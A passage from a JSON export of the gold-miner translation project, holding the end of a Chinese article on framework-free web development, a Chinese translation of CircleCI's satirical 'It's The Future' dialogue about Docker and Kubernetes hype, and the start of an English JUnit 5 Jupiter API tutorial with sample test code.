但是所有这些网站都没有用任何框架，没有不必要的、笨重的依赖库。\n\n我甚至没有最小化页面资源（除了图片压缩，只要拖动到 [tinypng.com](https://tinypng.com) 就可以了），基本上是因为我比较懒。但是你知道吗？页面的加载时间依旧非常短。\n\n但是我认为，他们的代码中和“网络应用”最相关的，就只是一些毛糙的 jQuery。（毛糙，其实仅仅因为我很忙）。\n\n![](https://cdn-images-1.medium.com/max/2000/1*zziUiqYBKpwkEYi8-gPM5w.png)\n\n![](https://cdn-images-1.medium.com/max/1600/1*Ox4fKq-xvS9STRyuVUSHKg.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*mnhVan8aVQp2Rb1iM8OFhA.png)\n\n![](https://cdn-images-1.medium.com/max/1200/1*V9M0Pmy_ZsyXQBM11i0o-w.png)\n\n![](https://cdn-images-1.medium.com/max/1200/1*yckUvqs6ByWudzJ_rBGCcA.png)\n\n网站链接：\n\n*   [https://caddyserver.com](https://caddyserver.com)\n*   [http://goconvey.co/](http://goconvey.co/)\n*   [https://www.papaparse.com](https://www.papaparse.com)\n*   [https://relicabackup.com](https://relicabackup.com) **（羞耻的提一句：现在有五折优惠！）**\n\n每个网站大概都会花费我一天到一个礼拜的时间完成（取决于页面有多少，以及能够有多少的收入）。实质的内容当然会需要更长时间，但这都是给定的。\n\n下面是一些我收到的反馈，是我“经典”路线 的结果：\n\n*   我很喜欢你网站设计的简洁性。你是自己写的吗，还是用了模版/主题？\n*   你的网站是一个优秀的榜样，好的网站设计应该如此。它快速，干净，不会加载很多没用的东西，而且几乎所有内容都能脱离 JavaScript 工作。\n*   我很好奇你使用了什么框架或者工具来构建你的文档网站！它真的非常棒，非常轻量。\n\n我并不是说我的网站是十全十美的 —— 它们距离完美还差得远，我只是小心的将它们用作案例研究 —— 但是无论如何，它们的功能都实现了。\n\n给你一个小奖励：这里有一个很有意思的 API 示例，是我在几年前为了当时的工作，使用 vanilla HTML，CSS，和 JS 制作的。\n\n* Youtube [视频链接](https://youtu.be/7T97vf-lrXk)\n\n我知道每行代码都是什么意思，并且，包括了最小化的 jQuery（未压缩），所有内容加在一起大概是 50KB。很明显，显示地图图块时使用了另外一个依赖（Leaflet），但这是很合理的，因为它们是必需的功能。例如，如果你在做复杂的和时间相关运算以及时间渲染，那么使用 Moment.js 就没什么问题。我只是想要避免**广适性**的框架、库、以及工具，除非我真的需要他们或者明白它们在做什么。\n\n### 开发过程\n\n我收到了一些请求，所以我写下了构建网站的过程，并且这篇文章已经是我想到的最好的了。也许这篇文章很粗俗，**但是我的开发过程真的非常简单，很难解释，因为...其实没有任何过程。**\n\n除了最低需求（文字编辑器和一个本地网络服务），我的“开发过程”不需要其他特别的工具：没有表意，没有安装，没有包管理。就只有我本人，我的文字编辑器，我的网络服务，并且懂得网站运行的基础。\n\n### 要点\n\n我并不是一个专家。网络开发需要很多年的实践才能获得真知灼见，就算没有使用华丽的工具也是一样的。\n\n我相信随着时间流逝，一个人能够获取到所有需要的技术和知识，能以相同的速度来做现在酷小孩做的事情，但是却有一下优势：\n\n*   大大减小代码量\n*   更少出故障\n*   更直观\n*   更短，更有效率的调试会话\n*   更高的知识转移\n*   更灵活，面向未来的软件结构\n\n所有这一切都是通过只\b消费**你所需要的**而来。\n\n这也正是技术债的治愈方法。\n\n（嗯，本文可能更像是一剂“预防针”。）\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/its-the-future.md",
    "content": "> * 原文地址：[It's The Future](https://circleci.com/blog/its-the-future/)\n> * 原文作者：[CircleCI](https://circleci.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/its-the-future.md](https://github.com/xitu/gold-miner/blob/master/TODO1/its-the-future.md)\n> * 译者：[Hopsken](https://hopsken.com)\n> * 校对者：[jasonxia23](https://github.com/jasonxia23) [Starrier](https://github.com/Starrier)\n\n# Web 应用的未来：Heroku vs Docker\n\n![](https://d3r49iyjzglexf.cloudfront.net/blog/content/rabbit_hole-001c07c5072ff2970876cbc92caedfc5803e0ea4b9c65cff2f35f83ceedc0b8f.jpg)\n\n嗨，我老板让我跟你谈谈，听说你很懂 web 应用？\n\n> 嗯，我对分布式系统确实挺了解的。我刚从 ContainerCamp 和 Gluecon 回来，下星期我还打算去参加 Dockercon。这个行业的发展方向令人兴奋，让所有事情都变得更简单，也更可靠。这就是未来！\n\n666。我最近在做一个简单的 web 应用 —— 一个普通的基于 Rails 的 CRUD（译者注：增删查改）应用，准备搭建在 Heroku 上面。现在还是这么做吗？\n\n> 不不不，这已经是老掉牙的做法了。Heroku 已死，没人再用这玩意儿了。现在你得用 Docker，这才是大势所趋。\n\n额，好吧。不过，那是啥？\n\n> Docker 是实现容器化的新方案。它跟 LXC 差不多，不过它也是一种打包格式，一种分发平台，以及一套可以方便地构建分布式系统的工具。\n\n哈？啥容器？LXE 又是啥？\n\n> 是 LXC。它就像 chroot on steroids！\n\ncher-oot 又是啥？\n\n> 行吧。听着，Docker、容器化，这就是未来。跟虚拟化很类似，但是更快，也更经济。\n\n哦，懂了，所以就跟 Vagrant 差不多咯？\n\n> 不不不，Vagrant 已死。未来是容器化的天下。\n\n好吧，所以现在我没必要去了解的虚拟化了对吧？\n\n> 不，你还得用到虚拟化，因为容器目前还不能提供完整的安全层级。所以，如果你希望程序运行在多用户环境中，你得确保你不能跳出沙盒。\n\n额，等等，我有点跟不上了。我们来捋一捋，也就是说，有这么个东西，叫做容器，和虚拟化很像。而且我可以在 Heroku 上使用它？\n\n> 这么说吧，Heroku 确实在某种程度上支持 Docker，但是我刚说了：Heroku 已死。你应该把容器运行在 CoreOS 上面。\n\n好吧，那是啥？\n\n> 那是个宿主操作系统，可以跟 Docker 结合使用。讲道理，你甚至不需要用 Docker，你可以用 rkt。\n\n啥啥？Rocket？\n\n> 不，是 rkt。\n\n没错啊，Rocket。\n\n> 不，我说的是 rkt。这完全是两码事。它是另一种容器化格式，没有 Docker 那么高的集成度，但也因此拥有更高的组件化程度。\n\n所以这是件好事？\n\n> 这当然是件好事，组件化就是未来。\n\n好的吧，那要怎么用它？\n\n> 不知道，我不认为有人在用这玩意。\n\n行吧。你之前有提到 CoreOS？\n\n> 哦，对，这是一个可以跟 Docker 搭配使用的宿主操作系统。\n\n宿主操作系统是啥？\n\n> 一个宿主操作系统可以运行你所有的容器。\n\n运行我的容器？\n\n> 没错，你总得把你的容器运行在某个东西上吧。这么说吧，先配置好一个实例，比方说 EC2，装好 CoreOS，然后运行 Docker 后台程序，再然后你就可以把 Docker 镜像部署上去了。\n\n所以这里面哪一步是所谓的容器？\n\n> 全部都是。这么说吧，你先准备好你的应用，写一个 Dockerfile，在本地把它们转成一个镜像，然后你就可以把它们推送到任何 Docker 主机上去了。\n\n额，比方说，Heroku？\n\n> 不对，不是 Heroku。我都跟你说了，Heroku 已死。现在，借助 Docker，你可以运行你自己云服务了。\n\n哈？\n\n> 没错，很容易做到。你查一下 #gifee 就知道了。\n\n啥？Gify？\n\n>「Google’s infrastructure for everyone else.」你只需要取一些已有的工具和技术栈，借助容器技术，然后你就可以拥有和 Google 一样的架构了。\n\n那我为啥不能直接使用 Google 的呢？\n\n> 你认为半年内会出现吗？\n\n好吧，那么还有其他提供此类托管服务的厂商吗？我实在是不想自己托管。\n\n> 呃，Amazon 有提供 ECS 服务，但是你得去写一些 XML 或者其它乱七八糟的玩意。\n\n那 OpenStack 呢？\n\n> 呵呵。\n\n啊？\n\n> 呵呵。\n\n讲真，我真心不想自己来托管服务。\n\n> 别啊，这真的很简单。你只需要配置一个 Kubernetes 集群。\n\n我还需要一个集群？\n\n> Kubernetes 集群。它会负责管理你所有服务的部署工作。\n\n我只有一个服务。\n\n> 你说啥呢？只有一个应用是没错，但是至少得有 8-12 个服务吧？\n\n哈？不不，就一个应用。呃，服务...反正不管怎么说，就一个。\n\n> 不不不，你再想想微服务。对吧，这才是未来。现在大家都这么干。先拿到一个大型的应用，然后把它分成大约 12 个左右的服务，每一个都只负责一部分工作。\n\n这也太多了。\n\n> 这是确保可用性的唯一方法。这样当你的认证服务下线的时候...\n\n认证服务？我只是打算用我之前用过的 gem 而已。\n\n> 没错。使用那个 gem，把它放到它本身的项目中，再给它写一个 RESTful API。这样你的其它服务就可以调用那个 API，从而优雅地处理错误和事务。把它放到一个容器中，然后持续交付它们。\n\n行吧，那么既然我已经有了十多个没有被管理的服务，现在该怎么办？\n\n> 我刚提到了 Kubernetes，对吧。它允许你将你所有的服务协同到一起。\n\n协同起来？\n\n> 没错。现在你已经有了若干服务，并且它们得保持可用性，所以你需要多拷贝几份服务出来。Kubernetes 可以确保你有足够多的相同服务，把它们分布到位于服务器群上的多个主机上，这样，这些服务就可以一直都能被访问啦。\n\n我现在又需要一个服务器群了？\n\n> 没错，为了可靠性。但是 Kubernetes 可以替你管好这些。而且，你知道，Kubernetes 肯定是有用的，因为是 Google 打造了它，并且它是运行在 etcd 上的。\n\netcd 是啥？\n\n> 它是 RAFT 的一种实现。\n\n好吧，那么问题来了，RAFT 又是啥？\n\n> 类似于 Paxos。\n\n天啦噜，我们究竟要在这条路上走多远啊？我只是想运行一个应用而已啊。哎，奶奶个腿的，OK，冷静，深呼吸。苍天呐。行吧，Paxos 又是啥？\n\n> Paxos 算是个 70 年代就提出的古老的分布式协议，但是没人真正理解，也没人去用。\n\n太好了，谢谢你告诉我这些。所以 Raft 是啥？\n\n> 既然没人能理解 Paxos，有个叫做 Diego 的人...\n\n哦，你认识他？\n\n> 没，他在 CoreOS 工作。总之，Diego 为了他的博士论文打造了 Raft，因为 Paxos 实在是太难了。聪明的家伙。然后他实现了 Raft，写出了 etcd。再然后，Aphyr 说这玩意还不赖。\n\nAphyr 是谁？\n\n> Aphyr 就是那个写了『Call Me Maybe』的人。就是那个分布式系统和 BDSM 的？\n\n哈？你刚是不是说了『BDSM』？\n\n> 没错，BDSM。这可是旧金山，所有人都懂分布式系统和 BDSM。\n\n好的吧。所以是他写了 Katy Parry 的那首歌？\n\n> 没，他写了一系列博客解释为什么所有的数据库都不符合 CAP。\n\nCAP 是啥？\n\n> 就是 CAP 定理。定理说，在连贯性、可访问性和可分割性这三个中你只能保证其中两个。\n\n行吧。所以说，所有的数据库都不符合 CAP 定理？那是什么意思？\n\n> 这意味，它们都是垃圾。比方说 Mongo。\n\n我原以为 Mongo 是 web 层面上的？\n\n> 没人这么认为。\n\n好吧，所以 etcd 是啥？\n\n> etcd 是一种分布式的键值对仓库。\n\n哦，就像 Redis。\n\n> 不，一点都不像。etcd 是分布式的，而一旦网络被断开，Redis 就丧失了一半的写入能力。\n\n好吧，所以这是个**分布式**的键值对仓库。这有啥用？\n\n> Kubernetes 具有一个标准的 5 节点的集群，使用 etcd 作为消息总线。它会整合 Kubernetes 自带一些服务来提供非常具有弹性的协同系统。\n\n5 个节点？我只有一个应用啊。这样我需要多少设备啊？\n\n> 这样，你大约要有 12 个服务，当然对于每一个你还需要一些冗余服务作为拷贝，一些用于负载均衡，一些 etcd 集群，数据库，还有 Kubernetes 集群，这些加起来差不多要 50 个容器。\n\n什么！\n\n> 这没什么！容器是非常高效的，所以你应该可以把它们分布到 8 台设备上！是不是很厉害？\n\n话是这么说。所以有了这些，我就可以部署我的应用了？\n\n> 当然。我是说，对于 Docker 和 Kubernetes，仍然存在一个开放性的存储问题。关于网络通信也需要花些功夫，不过差不多就是这样了。\n\n我懂了。我想我理解你的意思了。\n\n> 棒极了！\n\n谢谢你解释这么多。\n\n> 不用谢。\n\n让我回顾一遍，看看我理解的对不对。\n\n> 没问题！\n\n所以，我只需要把我这个简单的 CRUD 应用划分成 12 个微服务，每一个都有它们独立的 API，这些 API 互相之间可以调用，且可以弹性地处理问题，把它们整合到 Docker 容器中，启动一个拥有 8 个运行着 CoreOS 的设备集群作为 Docker 主机，使用运行着 etcd 的一个小 Kubernetes 集群来协同管理它们，解决好网络和存储这些『开放性』问题，最后把每个微服务的多份冗余拷贝持续交付到我的服务器集群上。是这样吧？\n\n> 对！是不是酷炫？\n\n我还是滚回去用 Heroku 吧。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/j-introducing-junit5-part1-jupiter-api.md",
    "content": "> * 原文地址：[Introducing JUnit 5 Part 1: The JUnit 5 Jupiter API](https://www.ibm.com/developerworks/library/j-introducing-junit5-part1-jupiter-api/)\n> * 原文作者：[J Steven Perry](https://developer.ibm.com/author/steve.perry/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/j-introducing-junit5-part1-jupiter-api.md](https://github.com/xitu/gold-miner/blob/master/TODO1/j-introducing-junit5-part1-jupiter-api.md)\n> * 译者：\n> * 校对者：\n\n# Introducing JUnit 5 Part 1: The JUnit 5 Jupiter API\n\n## Learn your way around annotations, assertions, and assumptions in the new JUnit Jupiter API\n\nThis tutorial introduces you to JUnit 5. We'll start by installing JUnit 5 and getting it setup on your computer. I'll give you a brief tour of JUnit 5's architecture and components, then show you how to use new annotations, assertions, and assumptions in the JUnit Jupiter API.\n\nIn [Part 2](https://github.com/xitu/gold-miner/blob/master/TODO1/j-introducing-junit5-part2-vintage-jupiter-extension-model.md), we'll take a deeper tour of JUnit 5, including the new JUnit Jupiter Extension model, parameter injection, dynamic tests, and more.\n\nFor this tutorial, I used [JUnit 5, Version 5.0.2](http://junit.org/junit5/docs/current/user-guide/#release-notes-5.0.2).\n\n### Prerequisites\n\nFor the purpose of this tutorial, I assume that you are comfortable using the following software:\n\n*   Eclipse IDE\n*   Maven\n*   Gradle (optional)\n*   Git\n\nIn order to follow along with the examples, you should have JDK 8, Eclipse, Maven, Gradle (optional), and Git installed on your computer. If you are missing any of these tools, you can use the links below to download and install them now:\n\n*   [JDK 8 for Windows, Mac, and Linux.](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html)\n*   [Eclipse IDE for Windows, Mac, and Linux.](http://www.eclipse.org/downloads/eclipse-packages/)\n*   [Apache Maven for Windows, Mac, and Linux.](https://maven.apache.org/download.cgi)\n*   [Gradle for Windows, Mac, and Linux.](https://gradle.org/install)\n*   [Git for Windows, Mac, and Linux.](https://git-scm.com/downloads)\n\n[Clone the sample application from GitHub](https://github.com/makotogo/HelloJUnit5)\n\n##### JUnit with Gradle\n\nIn this tutorial, I'll show you how to run JUnit Jupiter tests using Gradle. The demonstration is optional, but I encourage you to learn Gradle. It's a neat build system, and increasingly popular. It's coming soon to a project next to you—I guarantee it!\n\n### Terminology\n\nIt's tempting to use the terms _JUnit 5_ and _JUnit Jupiter_ synonymously. In most cases, this is a benign interchange. It's important, however, to understand that the two terms are not the same. _JUnit Jupiter_ is the API for writing tests using JUnit version 5. _JUnit 5_ is the project name (and version) that includes the separation of concerns reflected in all three major modules: JUnit Jupiter, JUnit Platform, and JUnit Vintage.\n\nWhen I write about JUnit Jupiter, I'm referring to the API for writing unit tests. When I write about JUnit 5, I'm referring to the project as a whole.\n\n## Overview of JUnit 5\n\nPrior versions of JUnit were monolithic. Aside from the inclusion of the Hamcrest JAR in version 4.4, JUnit was basically one big JAR file. Its APIs were used by both test writers—developers like you and me—and tool vendors, who used many of the internal JUnit APIs.\n\nSuch prolific use of internal APIs caused JUnit's maintainers some headaches, and left them with few options for moving the technology forward. From the [_JUnit 5 User's Guide_](http://junit.org/junit5/docs/current/user-guide/#api-evolution):\n\n> “ With JUnit 4 a lot of stuff that was originally added as an internal construct only got used by external extension writers and tool builders. That made changing JUnit 4 especially difficult and sometimes impossible. ”\n\nThe JUnit Lambda (now called JUnit 5) team decided to redesign JUnit into two clear and separate areas of concern:\n\n*   An API for writing tests.\n*   An API for discovering and running those tests.\n\nThese areas of concern are now baked into the architecture of JUnit 5, and they're clearly separated from each other. The new architecture is illustrated in Figure 1 (image credit to [Nicolai Parlog](https://blog.codefx.org/design/architecture/junit-5-architecture/)):\n\n##### Figure 1. Architecture of JUnit 5\n\n![An illustration of the JUnit 5 architecture.](https://www.ibm.com/developerworks/library/j-introducing-junit5-part1-jupiter-api/Figure-1.png)\n\nIf you look closely at Figure 1, it starts to sink in just how supremely cool JUnit 5's architecture is. Go ahead, _really_ stare at it. What the boxes in the top-right corner show is that the JUnit Jupiter API is _just another API_ as far as JUnit 5 is concerned! Because JUnit Jupiter's components follow the new architecture, they work with JUnit 5, but you could just as easily define a different testing framework. As long as a framework implements the `TestEngine` interface, you can plug it into any tool supporting the `junit-platform-engine` and `junit-platform-launcher` APIs!\n\nI still think JUnit Jupiter is pretty special (after all, I'm about to spend an entire tutorial talking about it), but what the JUnit 5 team have done is truly groundbreaking. I just wanted to point that out. Please feel free to stare at Figure 1 until we are in wholehearted agreement.\n\n### Writing tests with JUnit Jupiter\n\nFor our purpose as test writers, any JUnit-compliant testing framework (including JUnit Jupiter) consists of two components:\n\n*   The API against which we write tests.\n*   The JUnit `TestEngine` implementation that understands that particular API.\n\nFor this tutorial, the former is the JUnit Jupiter API, while the latter is the JUnit Jupiter Test Engine. I'll introduce them both.\n\n#### The JUnit Jupiter API\n\nAs a developer, you'll use the JUnit Jupiter API to create unit tests that exercise your application code. Using the API's basic features—annotations, assertions, and so forth—is the main focus of this part of the tutorial.\n\nThe JUnit Jupiter API is designed so that you can extend its functionality by plugging into various lifecycle callbacks. You'll learn in Part 2 how to use these callbacks to do cool things like run parameterized tests, pass arguments to test methods, and lots more.\n\n#### The JUnit Jupiter Test Engine\n\nYou'll use the JUnit Jupiter Test Engine to discover and execute your JUnit Jupiter unit tests. The test engine implements the `TestEngine` interface, which is part of the JUnit Platform. You can think of the `TestEngine` as the bridge between your unit tests and the tools you use to launch them (like your IDE).\n\n### Running tests with JUnit Platform\n\nIn JUnit terminology the process of running unit tests is divided into two parts:\n\n1.  _Discovery_ of tests and the creation of a _test plan_.\n2.  _Launching_ the test plan in order to (1) execute tests and (2) report results to the user.\n\n#### API for discovering tests\n\nThe API for discovering tests and creating the test plan is part of the JUnit Platform, and is implemented by a `TestEngine`. The testing framework encapsulates the discovery of tests into its implementation of a `TestEngine`. The JUnit Platform is responsible for initiating the test discovery process, using IDEs and build tools like Gradle and Maven.\n\nThe goal of test discovery is the creation of the test plan, which consists of a _test specification_. The test specification includes the following components:\n\n*   _Selectors_ such as:\n    *   Packages to scan for test classes\n    *   Specific class names\n    *   Specific methods\n    *   Classpath root folders\n*   _Filters_ such as:\n    *   Class name patterns (e.g., \".*Test\")\n    *   Tags (discussed in Part 2)\n    *   Specific test engines (e.g., \"junit-jupiter\")\n\nThe test plan is a hierarchical view of all the test classes, test methods within those classes, test engines, and so on, that were discovered according to the test specification. Once the test plan is prepared, it's ready to be executed.\n\n#### API for executing tests\n\nThe API for executing tests is part of the JUnit Platform, and is implemented by one or more `TestEngine`s. Testing frameworks encapsulate the execution of tests into their implementation of `TestEngine`, but the JUnit Platform is responsible for initiating the test execution process. Test execution is initiated through IDEs and build tools like Gradle and Maven.\n\nA JUnit Platform component called the `Launcher` is responsible for executing the test plan created during test discovery. Some process—let's say your IDE—initiates test execution through the JUnit Platform (specifically, the `junit-platform-launcher` API). At that time, the JUnit Platform hands the `Launcher` the test plan, along with a `TestExecutionListener`. The `TestExecutionListener` will report test execution results for display in your IDE.\n\nThe goal of the test execution process is to report to the user exactly what happened when the tests ran. This includes reporting test successes and failures, and messages accompanying the failures to help the user understand what happened.\n\n### Backward compatibility: JUnit Vintage\n\nMany organizations have a significant investment in JUnit 3 and 4, and thus cannot afford to convert wholesale to JUnit 5. Knowing this, the JUnit 5 team have provided the `junit-vintage-engine` and `junit-jupiter-migration-support` components to assist with migration.\n\nAs far as JUnit Platform is concerned, JUnit Vintage is just another test framework, complete with its own `TestEngine` and API (specifically, the JUnit 4 API).\n\nFigure 2 shows the dependencies among the various JUnit 5 packages.\n\n##### Figure 2. JUnit 5 package diagram\n\n![An illustration of the JUnit 5 package diagram.](https://www.ibm.com/developerworks/library/j-introducing-junit5-part1-jupiter-api/Figure-2.png)\n\n### What about opentest4j?\n\nTest frameworks that support JUnit vary in how they process exceptions thrown during test execution. There is no standard for testing on the JVM, which is an ongoing issue for the JUnit team. Beyond the `java.lang.AssertionError`, test frameworks are forced to either define their own exception hierarchy or couple themselves to exceptions supported natively by JUnit (or in some cases they may do both).\n\n**Support opentest4j**: To participate in the Open Test Alliance for the JVM, or simply provide feedback to help move the effort forward, visit the [opentest4j](https://github.com/ota4j-team/opentest4j) Github repo and click on the _CONTRIBUTING.md_ link.\n\nTo work around consistency issues, the JUnit team has proposed an open source project currently known as Open Test Alliance for the JVM. The alliance is just a proposal at this stage, and the exception hierarchy it has defined is preliminary. However, JUnit 5 uses the `opentest4j` exceptions. (You can see this in Figure 2; notice the dependency lines from the `junit-jupiter-api` and `junit-platform-engine` packages to the `opentest4j` package.)\n\nNow that you have a basic grasp of how the various JUnit 5 components fit together, it's time to write some tests using the JUnit Jupiter API!\n\n## Writing tests using JUnit Jupiter\n\n### Annotations\n\nSince JUnit 4, annotations have been a core feature of the testing framework, and that continues with JUnit 5. I don't have space to cover all of JUnit 5's annotations, but this section will get you started with the ones you're likely to use most.\n\nFirst, I'll compare the annotations from JUnit 4 with those from JUnit 5. The JUnit 5 team changed the names of some annotations to make them more intuitive, while keeping the functionality the same. If you've been using JUnit 4, the table below will help you orient to the changes.\n\n##### Table 1. Annotations in JUnit 4 vs JUnit 5\n\n| JUnit 5 | JUnit 4 | Description |\n| ------- | ------- | ----------- |\n| @Test | @Test | The annotated method is a test method. No change from JUnit 4. |\n| @BeforeAll | @BeforeClass | The annotated (static) method will be executed once before any @Test method in the current class. |\n| @BeforeEach | @Before | The annotated method will be executed before each @Test method in the current class. |\n| @AfterEach | @After | The annotated method will be executed after each @Test method in the current class. |\n| @AfterAll | @AfterClass | The annotated (static) method will be executed once after all @Test methods in the current class. |\n| @Disabled | @Ignore | The annotated method will not be executed (it will be skipped), but reported as such. |\n\n#### Using annotations\n\nNext we'll look at a few examples using these annotations. While some have been renamed in JUnit 5, their functionality should be familiar if you've been using JUnit 4. The code in Listing 1 is from `JUnit5AppTest.java`, which you'll find in the [HelloJUnit5](https://github.com/makotogo/HelloJUnit5) sample application.\n\n##### Listing 1. Basic annotations\n\n```\n@RunWith(JUnitPlatform.class)\n@DisplayName(\"Testing using JUnit 5\")\npublic class JUnit5AppTest {\n  \n  private static final Logger log = LoggerFactory.getLogger(JUnit5AppTest.class);\n  \n  private App classUnderTest;\n  \n  @BeforeAll\n  public static void init() {\n    // Do something before ANY test is run in this class\n  }\n  \n  @AfterAll\n  public static void done() {\n    // Do something after ALL tests in this class are run\n  }\n  \n  @BeforeEach\n  public void setUp() throws Exception {\n    classUnderTest = new App();\n  }\n  \n  @AfterEach\n  public void tearDown() throws Exception {\n    classUnderTest = null;\n  }\n  \n  @Test\n  @DisplayName(\"Dummy test\")\n  void aTest() {\n    log.info(\"As written, this test will always pass!\");\n    assertEquals(4, (2 + 2));\n  }\n  \n  @Test\n  @Disabled\n  @DisplayName(\"A disabled test\")\n  void testNotRun() {\n    log.info(\"This test will not run (it is disabled, silly).\");\n  }\n.\n.\n}\n```\nConsider the annotations in the highlighted lines above:\n\n*   Line 1: Along with its parameter `JUnitPlatform.class` (a JUnit 4-based `Runner` that understands JUnit Platform) `@RunWith` lets you run JUnit Jupiter unit tests inside of Eclipse. Eclipse does not yet natively support JUnit 5. In the future, Eclipse will provide native JUnit 5 support, and we'll no longer need this annotation.\n*   Line 2: `@DisplayName` tells JUnit to display the `String` \"Testing using JUnit 5\" rather than the test class name when reporting test results.\n*   Line 9: `@BeforeAll` tells JUnit to run the `init()` method **once**_before_ all `@Test` method(s) in this class are run.\n*   Line 14: `@AfterAll` tells JUnit to run the `done()` method **once**_after_ all `@Test` method(s) in this class are run.\n*   Line 19: `@BeforeEach` tells JUnit to run the `setUp()` method _before_**each**`@Test` method in this class.\n*   Line 24: `@AfterEach` tells JUnit to run the `tearDown()` method _after_**each**`@Test` method in this class.\n*   Line 29: `@Test` tells JUnit that the `aTest()` method is a JUnit Jupiter test method.\n*   Line 37: `@Disabled` tells JUnit not to run this `@Test` method because it is disabled.\n\n### Assertions\n\nAn _assertion_ is one of a number of static methods on the `org.junit.jupiter.api.Assertions` class. Assertions are used to test a condition that must evaluate to `true` in order for the test to continue executing.\n\nIf an assertion fails, the test is halted at the line of code where the assertion is located, and the assertion failure is reported. If the assertion succeeds, the test continues to the next line of code.\n\nAll of the JUnit Jupiter assertion methods listed in Table 2 take an optional `message` parameter (as the last parameter) that displays if the assertion fails, rather than the standard default message.\n\n##### Table 2. Assertions in JUnit Jupiter\n\n| Assertion method | Description |\n| ---------------- | ----------- |\n| `assertEquals(expected, actual)` | The assertion fails if _expected_ does not equal _actual_. |\n| `assertFalse(booleanExpression)` | The assertion fails if _booleanExpression_ is not `false`. |\n| `assertNull(actual)` | The assertion fails if _actual_ is not `null`. |\n| `assertNotNull(actual)` | The assertion fails if _actual_ is `null`. |\n| `assertTrue(booleanExpression)` | The assertion fails if _booleanExpression_ is not `true`. |\n\nListing 2 is an example of these annotations in use, from the HelloJUnit5 sample application.\n\n##### Listing 2. JUnit Jupiter assertions in the sample application\n\n```\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n.\n.\n  @Test\n  @DisplayName(\"Dummy test\")\n  void dummyTest() {\n    int expected = 4;\n    int actual = 2 + 2;\n    assertEquals(expected, actual, \"INCONCEIVABLE!\");\n    //\n    Object nullValue = null;\n    assertFalse(nullValue != null);\n    assertNull(nullValue);\n    assertNotNull(\"A String\", \"INCONCEIVABLE!\");\n    assertTrue(nullValue == null);\n    .\n    .\n  }\n```\n\nConsider the assertions from the highlighted lines above:\n\n*   Line 13: `assertEquals`: If the first parameter value (4) does not equal the second (2+2), then the assertion fails. The user-supplied message (the third parameter to the method) is used when reporting the assertion failure.\n*   Line 16: `assertFalse`: The expression `nullValue != null` must be `false` or the assertion fails.\n*   Line 17: `assertNull`: The `nullValue` parameter must be `null` or the assertion fails.\n*   Line 18: `assertNotNull`: The `String` literal \"A String\" must not be `null` or the assertion fails, and the message \"INCONCEIVABLE!\" is reported (instead of the default \"Assertion failed\" message).\n*   Line 19: `assertTrue`: If the expression `nullValue == null` does not evaluate to `true` the assertion fails.\n\nIn addition to supporting these standard assertions, the JUnit Jupiter AP provides severaI new ones. We'll look at two of them below.\n\n#### Method @assertAll()\n\nThe `@assertAll()` method in Listing 3 presents the same assertions seen in Listing 2, but wrapped in a new assertion method:\n\n##### Listing 3. assertAll()\n\n```\nimport static org.junit.jupiter.api.Assertions.assertAll;\n.\n.\n@Test\n@DisplayName(\"Dummy test\")\nvoid dummyTest() {\n  int expected = 4;\n  int actual = 2 + 2;\n  Object nullValue = null;\n  .\n  .\n  assertAll(\n      \"Assert All of these\",\n      () -> assertEquals(expected, actual, \"INCONCEIVABLE!\"),\n      () -> assertFalse(nullValue != null),\n      () -> assertNull(nullValue),\n      () -> assertNotNull(\"A String\", \"INCONCEIVABLE!\"),\n      () -> assertTrue(nullValue == null));\n}\n```\n\nThe cool thing about `assertAll()` is that _all_ of the assertions contained within it are performed, even if one or more of them fail. Contrast this to the code in Listing 2, where if _any_ assertion fails, the test fails at that point, meaning no other assertions will be performed.\n\n#### Method @assertThrows()\n\nUnder certain conditions, the class under test is expected to throw an exception. JUnit 4 provided this capability through the `expected =` method parameter, or through a `@Rule`. In contrast, JUnit Jupiter provides this capability through the `Assertions` class, making it more consistent with other assertions.\n\nAn expected exception is considered to be just another condition that can be asserted, and thus `Assertions` contains methods to handle this. Listing 4 introduces the new `assertThrows()` assertion method.\n\n##### Listing 4. assertThrows()\n\n```\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static 